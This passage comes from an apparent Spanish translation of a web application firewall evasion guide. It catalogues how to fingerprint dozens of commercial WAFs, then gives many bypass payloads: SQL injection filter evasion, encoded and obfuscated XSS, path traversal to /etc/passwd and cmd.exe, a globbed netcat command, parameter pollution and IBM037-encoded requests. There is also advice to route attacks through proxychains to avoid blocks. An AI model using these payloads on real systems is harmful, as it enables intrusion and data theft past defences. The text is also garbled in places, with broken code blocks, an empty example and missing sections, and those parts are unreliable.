  • Metodología de Detección:
    • El encabezado Server en la respuesta puede contener:
      • Palabra clave WAF/2.0.
      • Valor de campo safedog.
SecKing
  • Detectabilidad: Fácil/Moderada
  • Metodología de Detección:
    • El encabezado Server en la respuesta puede contener:
      • Palabra clave SECKINGWAF.
      • Valor de campo SECKING/{version}.
SecuPress
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta puede contener:
      • SecuPress como texto.
      • Block ID: Bad URL Contents como texto.
    • El código de respuesta devuelto es 503 Service Unavailable.
Secure Entry
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene el valor establecido en Secure Entry Server.
SecureIIS
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene alguno de los siguientes fragmentos de texto:
      • Imagen que muestra el logotipo beyondtrust.
      • Download SecureIIS Personal Edition
      • Referencia a la URL http://www.eeye.com/SecureIIS/.
      • Fragmento de texto SecureIIS Error.
SecureSphere
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta contiene el siguiente fragmento de texto:
      • Error en texto h2.
      • El título contiene solo texto como Error.
      • Texto Contact support for additional information.
SEnginx
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene la palabra clave SENGINX-ROBOT-MITIGATION.
ServerDefender VP
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La respuesta bloqueada contiene el campo de encabezado X-Pint con la palabra clave p80.
Shadow Daemon
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene la palabra clave request forbidden by administrative rules..
ShieldSecurity
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Texto You were blocked by the Shield..
      • Fragmento de texto Something in the URL, Form or Cookie data wasn't appropriate.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene
      The page you are trying to access is restricted due to a security rule fragmento de texto.
SiteGuard (JP Secure)
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Fragmento de texto Powered by SiteGuard.
      • Fragmento de texto The server refuse to browse the page..
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El código fuente de la página de respuesta bloqueada contiene lo siguiente:
      • Referencia a la URL www.sitelock.com.
      • Texto Sitelock is leader in Business Website Security Services..
      • Palabra clave sitelock-site-verification.
      • Imagen sitelock_shield_logo.
SonicWall
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene el valor de palabra clave SonicWALL.
    • La página de respuesta bloqueada contiene alguno de los siguientes fragmentos de texto:
      • Imagen que muestra el logotipo Dell.
      • This request is blocked by the SonicWALL.
      • Fragmento de texto Web Site Blocked.
      • nsa_banner como palabra clave. :p
Sophos UTM
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene la palabra clave Powered by UTM Web Protection.
SquareSpace
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • El código de respuesta devuelto es 404 Not Found ante solicitudes maliciosas.
    • La página de respuesta bloqueada contiene alguno de los siguientes fragmentos de texto:
      • Palabra clave BRICK-50.
      • Fragmento de texto 404 Not Found.
SquidProxy IDS
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene el valor de campo squid/{version}.
    • La página de respuesta bloqueada contiene
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Contiene imagen que muestra el logotipo StackPath.
    • La página de respuesta bloqueada contiene
      You performed an action that triggered the service and blocked your request.
Stingray
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • El código de respuesta bloqueada devuelve 403 Forbidden o 500 Internal Error.
    • Los encabezados de respuesta contienen el nombre de campo de encabezado X-Mapping.
Sucuri CloudProxy
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta pueden contener las palabras clave Sucuri o Cloudproxy.
    • La página de respuesta bloqueada contiene el siguiente fragmento de texto:
      • Texto Access Denied - Sucuri Website Firewall.
      • Referencia a la URL https://sucuri.net/privacy-policy.
      • A veces el correo electrónico [email protected].
      • Contiene aviso de copyright ;copy {year} Sucuri Inc.
    • Los encabezados de respuesta contienen el encabezado X-Sucuri-ID junto con solicitudes normales.
Synology Cloud
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada tiene Copyright (c) 2019 Synology Inc. All rights reserved. como texto.
Tencent Cloud
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El código de respuesta bloqueada devuelve el error 405 Method Not Allowed.
    • La página de respuesta bloqueada contiene referencia a la URL waf.tencent-cloud.com.
Teros
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el campo de cookie st8id.
TrafficShield
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Server podría contener la palabra clave F5-TrafficShield.
    • Se podría detectar el valor ASINFO= en las cookies de respuesta.
TransIP
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el encabezado único X-TransIP-Backend.
    • Los encabezados de respuesta contienen otro encabezado X-TransIP-Balancer.
UCloud UEWaf
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta podría contener:
      • Referencia al directorio /uewaf_deny_pages/default/img/ en URL.
      • URL ucloud.cn.
    • Los encabezados de respuesta devueltos tienen el encabezado Server establecido en uewaf/{version}.
URLMaster SecurityCheck
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta podrían contener:
      • Palabra clave UrlMaster.
      • Palabra clave UrlRewriteModule.
      • Palabra clave SecurityCheck.
    • El código de respuesta bloqueada devuelto es el fragmento de texto 400 Bad Request.
URLScan
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto Rejected-by-URLScan.
      • Server Erro in Application como encabezado.
      • Module: IIS Web Core en tabla.
USP Secure Entry
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el valor de campo Secure Entry Server.
Varnish (OWASP)
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La solicitud maliciosa devuelve el error 404 Not Found.
    • La página de respuesta contiene:
      • Fragmento de texto Request rejected by xVarnish-WAF.
Varnish CacheWall
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Error 403 Naughty, not Nice! como encabezado.
      • Varnish cache Server como texto.
Viettel
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • La página de bloqueo tiene el título establecido en Access denied · Viettel WAF.
      • Referencia a la URL https://cloudrity.com.vn/.
      • La página de respuesta contiene las palabras clave Viettel WAF system.
      • Información de contacto con referencia a la URL https://cloudrity.com.vn/customer/#/contact.
VirusDie
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Imagen http://cdn.virusdie.ru/splash/firewallstop.png.
      • Aviso de copyright copy; Virusdie.ru

        .
      • El título de la página de respuesta contiene la palabra clave Virusdie.
      • Los metadatos de la página contienen la palabra clave name="FW_BLOCK".
WallArm
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados Server contienen el valor nginx-wallarm.
WatchGuard IPS
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados Server pueden contener el valor de campo WatchGuard.
    • La página de respuesta bloqueada contiene:
      • Texto Request denied by WatchGuard Firewall.
      • WatchGuard Technologies Inc. como pie de página.
WebARX Security
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Restringido específicamente a sitios WordPress solamente.
    • La página de respuesta bloqueada contiene:
      • Texto This request has been blocked by WebARX Web Application Firewall.
      • Referencia al directorio /wp-content/plugins/webarx/ donde está instalado.
WebKnight
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen la palabra clave WebKnight.
    • La página de respuesta bloqueada contiene:
      • Advertencia de texto WebKnight Application Firewall Alert.
      • Fragmento de texto AQTRONIX WebKnight.
    • El código de respuesta bloqueada devuelto es 999 No Hacking. :p
    • El código de respuesta bloqueada devuelto también es 404 Hack Not Found. :p
WebLand
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave Apache Protected By WebLand WAF.
WebRay
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave WebRay-WAF.
    • Los encabezados de respuesta pueden tener el campo DrivedBy con valor RaySrv RayEng/{version}.
WebSEAL
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave WebSEAL.
    • La página de respuesta bloqueada contiene:
      • Texto This is a WebSEAL error message template file.
      • Fragmento de texto WebSEAL server received an invalid HTTP request.
WebTotem
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene The current request was blocked by WebTotem.
West263CDN
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el campo de encabezado X-Cache con valor WT263CDN.
Wordfence
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen la palabra clave WebKnight.
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto Generated by Wordfence.
      • Advertencia de texto A potentially unsafe operation has been detected in your request to this site.
      • Advertencia de texto Your access to this site has been limited.
      • Fragmento de texto This response was generated by Wordfence.
WTS-WAF
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El título de la página de respuesta bloqueada tiene la palabra clave WTS-WAF.
    • El encabezado Server contiene wts como valor.
XLabs Security WAF
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el campo de encabezado X-CDN con valor XLabs Security.
Xuanwudun WAF
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene referencia a la URL http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/.
Yunaq Chuangyu
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta tiene referencia a:
      • URL 365cyd.com o 365cyd.net.
      • Referencia a la página de ayuda en http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene YUNDUN como valor.
    • El campo de encabezado X-Cache contiene YUNDUN como valor.
    • La página de respuesta contiene el fragmento de texto Blocked by YUNDUN Cloud WAF.
    • La página de respuesta bloqueada contiene referencia a la URL yundun.com/yd_http_error/.
Yunsuo
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene referencia de clase de imagen a yunsuologo.
    • Los encabezados de respuesta contienen el nombre de campo yunsuo_session.
YxLink
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La respuesta podría tener el campo de cookie yx_ci_session.
    • La respuesta podría tener el campo de cookie yx_language.
    • El encabezado Server contiene el valor de campo Yxlink-WAF.
ZenEdge
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene referencia al directorio /__zenedge/assets/.
    • El encabezado Server contiene la palabra clave ZENEDGE.
    • Los encabezados de respuesta bloqueada pueden contener el encabezado X-Zen-Fury.
ZScaler
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server tiene el valor establecido en ZScaler.
    • La página de respuesta bloqueada contiene:
      • Texto Access Denied: Accenture Policy.
      • Referencia a la URL https://policies.accenture.com.
      • Referencia a la imagen en https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Fuzzing/Fuerza Bruta:

Método:

Ejecutar un conjunto de payloads contra la URL/endpoint. Algunas buenas listas de palabras para fuzzing:

  • Listas de palabras específicamente para fuzzing
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Other Payloads

Técnica:

  • Cargar tu lista de palabras en el fuzzer e iniciar la fuerza bruta.
  • Registrar/trazar todas las respuestas de los diferentes payloads fuzzeados.
  • Usar user-agents aleatorios, desde Chrome Desktop hasta navegador de iPhone.
  • Si se detecta bloqueo, aumentar la latencia del fuzz (ej. 2-4 seg).
  • Usar siempre proxychains, ya que es real la posibilidad de que tu IP sea bloqueada.

Desventajas:

  • Este método a menudo falla.
  • Muchas veces tu IP será bloqueada (temporal/permanentemente).

Inversión de Expresiones Regulares:

Método:

  • El método más eficiente para eludir WAFs.
  • Algunos WAFs se basan en hacer coincidir los payloads de ataque con las firmas en sus bases de datos.
  • Si el payload coincide con la expresión regular, el WAF activa una alarma.

Técnicas:

Detección/Evasión de Lista Negra

  • En este método intentamos identificar las reglas paso a paso observando las palabras clave que están en la lista negra.
  • La idea es adivinar la expresión regular y crear los siguientes payloads que no usen las palabras clave bloqueadas.

Caso: Inyección SQL

• Paso 1:

Palabras clave filtradas: and, or, union
Expresión regular probable: preg_match('/(and|or|union)/i', $id)

  • Intento bloqueado: union select user, password from users
  • Inyección evadida: 1 || (select user from users where user_id = 1) = 'admin'
• Paso 2:

Palabras clave filtradas: and, or, union, where

  • Intento bloqueado: 1 || (select user from users where user_id = 1) = 'admin'
  • Inyección evadida: 1 || (select user from users limit 1) = 'admin'
• Paso 3:

Palabras clave filtradas: and, or, union, where, limit

  • Intento bloqueado: 1 || (select user from users limit 1) = 'admin'
  • Inyección evadida: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Paso 4:

Palabras clave filtradas: and, or, union, where, limit, group by

  • Intento bloqueado: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Inyección evadida: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Paso 5:

Palabras clave filtradas: and, or, union, where, limit, group by, select

  • Intento bloqueado: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Inyección evadida: 1 || 1 = 1 into outfile 'result.txt'
  • Inyección evadida: 1 || substr(user,1,1) = 'a'
• Paso 6:

Palabras clave filtradas: and, or, union, where, limit, group by, select, '

  • Intento bloqueado: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Inyección evadida: 1 || user_id is not null
  • Inyección evadida: 1 || substr(user,1,1) = 0x61
  • Inyección evadida: 1 || substr(user,1,1) = unhex(61)
• Paso 7:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex

  • Intento bloqueado: 1 || substr(user,1,1) = unhex(61)
  • Inyección evadida: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Paso 8:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex, substr

  • Intento bloqueado: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Inyección evadida: 1 || lpad(user,7,1)
• Paso 9:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex, substr, espacio en blanco

  • Intento bloqueado: 1 || lpad(user,7,1)
  • Inyección evadida: 1%0b||%0blpad(user,7,1)

Ofuscación:

Método:

  • Codificar el payload en diferentes codificaciones (un enfoque de prueba y error).
  • Puedes codificar todo el payload, o algunas partes, y probar recursivamente.

Técnicas:

1. Alternancia de mayúsculas/minúsculas

  • Algunos WAFs mal desarrollados filtran selectivamente según el caso de mayúsculas/minúsculas.
  • Podemos combinar caracteres en mayúsculas y minúsculas para desarrollar payloads eficientes.

Estándar: <script>alert()</script>
Evadido: <ScRipT>alert()</sCRipT>

Estándar: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Evadido: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Codificación URL

  • Codificar payloads normales con codificación %/URL.
  • Se puede hacer con herramientas en línea como esta.
  • Burp incluye un codificador/decodificador incorporado.

Bloqueado: <svG/x=">"/oNloaD=confirm()//
Evadido: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqueado: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Evadido: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalización Unicode

  • Los caracteres ASCII en codificación Unicode proporcionan grandes variantes para la evasión.
  • Puedes codificar todo o parte del payload para obtener resultados.

Estándar: <marquee onstart=prompt()>
Ofuscado: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqueado: /?redir=http://google.com
Evadido: /?redir=http://google。com (Alternativa Unicode)

Bloqueado: <marquee loop=1 onfinish=alert()>x
Evadido: <marquee loop=1 onfinish=alert︵1)>x (Alternativa Unicode)

CONSEJO: Echa un vistazo a este y este reportes en HackerOne. :)

Estándar: ../../etc/passwd
Ofuscado: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Representación HTML

  • A menudo, las aplicaciones web codifican caracteres especiales en codificación HTML y los renderizan en consecuencia.
  • Esto nos lleva a casos básicos de evasión con codificación HTML (numérica/general).

Estándar: ">
Codificado: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (Forma general)
Codificado: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Referencia numérica)

5. Codificación Mixta

  • A veces, las reglas del WAF tienden a filtrar un tipo específico de codificación.
  • Este tipo de filtros se puede evadir con payloads de codificación mixta.
  • Las tabulaciones y los saltos de línea añaden más ofuscación.

Ofuscado:``` XSS

root@kitploit:~
__6. Uso de Comentarios__
- Los comentarios ofuscan los vectores de payload estándar.
- Diferentes payloads tienen diferentes formas de ofuscación.

__Bloqueado__: `<script>alert()</script>`  
__Evadido__: `<!--><script>alert/**/()/**/</script>`

__Bloqueado__: `/?id=1+union+select+1,2,3--`  
__Evadido__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. Doble Codificación__
- A menudo los filtros WAF tienden a codificar caracteres para prevenir ataques.
- Sin embargo, los filtros mal desarrollados (sin filtros de recursión) pueden ser evadidos con doble codificación.

__Estándar__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__Ofuscado__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__Estándar__: `<script>alert()</script>`  
__Ofuscado__: `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. Ofuscación con Comodines__
- Los patrones de globbing son utilizados por varias utilidades de línea de comandos para trabajar con múltiples archivos.
- Podemos modificarlos para ejecutar comandos del sistema.
- Específico para vulnerabilidades de ejecución remota de código en sistemas Linux.

__Estándar__: `/bin/cat /etc/passwd`  
__Ofuscado__: `/???/??t /???/??ss??`  
Caracteres usados: `/ ? t s`

__Estándar__: `/bin/nc 127.0.0.1 1337`  
__Ofuscado__: `/???/n? 2130706433 1337`  
Caracteres usados: `/ ? n [0-9]`

__9. Generación Dinámica de Payloads__
- Diferentes lenguajes de programación tienen diferentes sintaxis y patrones para la concatenación.
- Esto nos permite generar payloads que pueden evadir muchos filtros y reglas.

__Estándar__: `<script>alert()</script>`  
__Ofuscado__: `<script>eval('al'+'er'+'t()')</script>`

__Estándar__: `/bin/cat /etc/passwd`  
__Ofuscado__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permite la concatenación de rutas para la ejecución.

__Estándar__: ``  
__Ofuscado__:```

13. Rompedores de Tokens

  • Los ataques a los tokenizadores intentan romper la lógica de dividir una solicitud en tokens con la ayuda de rompedores de tokens.

  • Los rompedores de tokens son símbolos que permiten afectar la correspondencia entre un elemento de una cadena y un token determinado, y así evitar la búsqueda por firma.

  • Sin embargo, la solicitud debe seguir siendo válida al usar rompedores de tokens.

  • Caso: Token desconocido para el tokenizador

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Caso: Contexto desconocido para el analizador (Nótese el paréntesis sin contexto)

    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

CONSEJO: Se pueden crear más payloads mediante esta hoja de referencia.

14. Ofuscación en Otros Formatos

  • Muchas aplicaciones web admiten diferentes tipos de codificación y pueden interpretar la codificación (ver más abajo).
  • Ofuscar nuestro payload a un formato no soportado por el WAF pero que el servidor sí puede interpretar para colar nuestro payload.

Caso: IIS

  • IIS6, 7.5, 8 y 10 (ASPX v4.x) permiten interpretaciones de caracteres IBM037.
  • Podemos codificar nuestro payload y enviar los parámetros codificados con la consulta.

Solicitud original:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
Solicitud ofuscada + Codificación de URL:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

La siguiente tabla muestra el soporte de diferentes codificaciones de caracteres en los sistemas probados (cuando los mensajes podían ofuscarse mediante ellas):

CONSEJO: Puedes usar este pequeño script de Python para convertir tus payloads y parámetros a las codificaciones deseadas.

ObjetivoCodificacionesNotas
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • La cadena de consulta y el cuerpo deben codificarse.
  • Parámetros decodificados URL en la cadena de consulta y el cuerpo.
  • El signo igual y el ampersand también deben codificarse (sin decodificación URL).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • La cadena de consulta y el cuerpo deben codificarse.
  • Parámetros decodificados URL en la cadena de consulta y el cuerpo posteriormente.
  • El signo igual y el ampersand no deben codificarse de ninguna forma.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Cadena de consulta en su formato original (puede estar codificada URL como de costumbre).
  • El cuerpo puede enviarse con o sin codificación URL.
  • El signo igual y el ampersand no deben codificarse de ninguna forma.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Cadena de consulta en su formato original (puede estar codificada URL como de costumbre).
  • El cuerpo puede enviarse con o sin codificación URL.
  • El signo igual y el ampersand no deben codificarse de ninguna forma.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

Contaminación de Parámetros HTTP

Método:

  • Este método de ataque se basa en cómo el servidor interpreta parámetros con el mismo nombre.
  • Las posibles oportunidades de elusión aquí son:
    • El servidor utiliza el último parámetro recibido, y el WAF solo verifica el primero.
    • El servidor une el valor de parámetros similares, y el WAF los verifica por separado.

Técnica:

  • La idea consiste en enumerar cómo el servidor interpreta los parámetros.
  • En tal caso, podemos pasar el payload a un parámetro que no esté siendo inspeccionado por el WAF.
  • También es útil distribuir un payload entre varios parámetros que luego el servidor puede concatenar.

A continuación se muestra una comparación de diferentes servidores y sus interpretaciones relativas:

EntornoInterpretación de parámetroEjemplo
ASP/IISConcatenación por comapar1=val1,val2
JSP, Servlet/Apache TomcatEl primer parámetro prevalecepar1=val1
ASP.NET/IISConcatenación por comapar1=val1,val2
PHP/ZeusEl último parámetro prevalecepar1=val2
PHP/ApacheEl último parámetro prevalecepar1=val2
JSP, Servlet/JettyEl primer parámetro prevalecepar1=val1
IBM Lotus DominoEl primer parámetro prevalecepar1=val1
IBM HTTP ServerEl último parámetro prevalecepar1=val2
mod_perl, libapeq2/ApacheEl primer parámetro prevalecepar1=val1
Oracle Application Server 10GEl primer parámetro prevalecepar1=val1
Perl CGI/ApacheEl primer parámetro prevalecepar1=val1
Python/ZopeEl primer parámetro prevalecepar1=val1
IceWarpSe devuelve un array['val1','val2']
AXIS 2400El último parámetro prevalecepar1=val2
DBManConcatenación por dos virgulillaspar1=val1~~val2
mod-wsgi (Python)/ApacheSe devuelve un array

Fragmentación de Parámetros HTTP

  • HPF se basa en el principio donde el servidor une el valor pasado a través de los parámetros.
  • Podemos dividir el payload en diferentes componentes y luego pasar los valores mediante los parámetros.

Payload de ejemplo: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
URL de consulta de ejemplo: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

CONSEJO: Un ejemplo real de cómo se pueden crear elusiones usando este método se puede encontrar aquí.

Errores de Navegador:

Errores de Juego de Caracteres:

  • Podemos intentar cambiar el encabezado de juego de caracteres a un Unicode más alto (p. ej., UTF-32) y probar payloads.
  • Cuando el sitio decodifica la cadena, el payload se activa.

Ejemplo de solicitud:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Cuando el sitio se carga, se codificará a la codificación UTF-32 que establecimos, y luego, como la codificación de salida de la página es UTF-8, se representará como: "<script>alert (1) </ script> lo que activará XSS.

Payload final codificado URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Bytes nulos:
- Los bytes nulos se usan comúnmente como terminadores de cadenas.
- Esto puede ayudarnos a evadir muchos filtros de aplicaciones web en caso de que no estén filtrando los bytes nulos.

Ejemplos de payloads:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Estándar: <a href="javascript:alert()">
Ofuscado: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Errores de análisis:

  • El RFC establece que los NodeNames no pueden comenzar con espacio en blanco.
  • Pero podemos usar caracteres especiales como %, //, !, ?, etc.

Ejemplos:

  • <// style=x:expression\28write(1)\29> - Funciona hasta IE7 (Fuente)
  • <!--[if]><script>alert(1)</script --> - Funciona hasta IE9 (Referencia)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funciona en IE7 (Referencia)
  • <%div%20style=xss:expression(prompt(1))> - Funciona hasta IE7

Separadores Unicode:

  • Cada navegador tiene su propio conjunto de caracteres de separadores.
  • Podemos fuzzear el rango de caracteres de 0x00 a 0xFF y obtener el conjunto de separadores para cada navegador.
  • Podemos usar estos separadores en lugares donde se requiere un espacio.

Aquí hay una lista compilada de separadores por @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Un ejemplo de payload exótico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### Uso de estructuras sintácticas equivalentes atípicas
- Este método busca encontrar una forma de explotación no considerada por los desarrolladores del WAF.
- Algunos casos de uso pueden ser retocados a niveles críticos donde el WAF no puede detectar los payloads en absoluto.
- Este payload es aceptado y ejecutado por el servidor después de atravesar el firewall.

Algunas palabras clave comunes que los desarrolladores de WAF pasan por alto:
- Funciones de JavaScript:
    - `window`
    - `parent`
    - `this`
    - `self`
- Atributos de etiqueta:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- Operadores SQL
    - `lpad`
    - `field`
    - `bit_count`

Ejemplos de Payloads:  
- __Caso:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
  • Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
Se pueden usar muchas alternativas al JavaScript original, a saber:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
